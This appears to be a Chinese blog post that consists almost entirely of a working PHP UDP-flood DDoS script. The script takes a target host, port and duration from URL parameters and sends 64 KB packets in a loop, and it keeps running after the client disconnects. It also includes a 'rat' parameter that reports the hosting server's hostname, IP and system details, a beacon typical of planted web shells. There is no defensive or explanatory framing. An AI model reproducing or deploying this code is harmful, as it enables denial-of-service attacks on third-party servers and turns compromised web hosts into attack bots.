ddos攻擊代碼

<?php
//設置腳本運行時間
set_time_limit(999999);
//攻擊目標服務器ip
$host = $_GET['host'];
//攻擊目標服務器端口
$port = $_GET['port'];
//攻擊時長
$exec_time = $_GET['time'];
//每次發送字節數
$Sendlen = 65535;
$packets = 0;
//設置客戶機斷開不終止腳本的執行
ignore_user_abort(TRUE);
//step1. 目標服務器$host、端口$port、運行時長$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
    if (StrLen($_GET['rat']) <> 0) {
        echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_SOFTWARE'] . $_GET['rat'];
        exit;
    }
    echo "Warning to: opening";
    exit;
}
//step2. 設定發字符串$out,這裏是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
    $out .= "A";
}
$max_time = time() + $exec_time;
//step3. 進行攻擊,使用udp向目標服務器狠狠發串串
while (1) {
    $packets++;
    if (time() > $max_time) {
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if ($fp) {
        fwrite($fp, $out);
        fclose($fp);
    }
}
//step4. 攻擊統計
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?> 


發佈了25 篇原創文章 · 獲贊 4 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章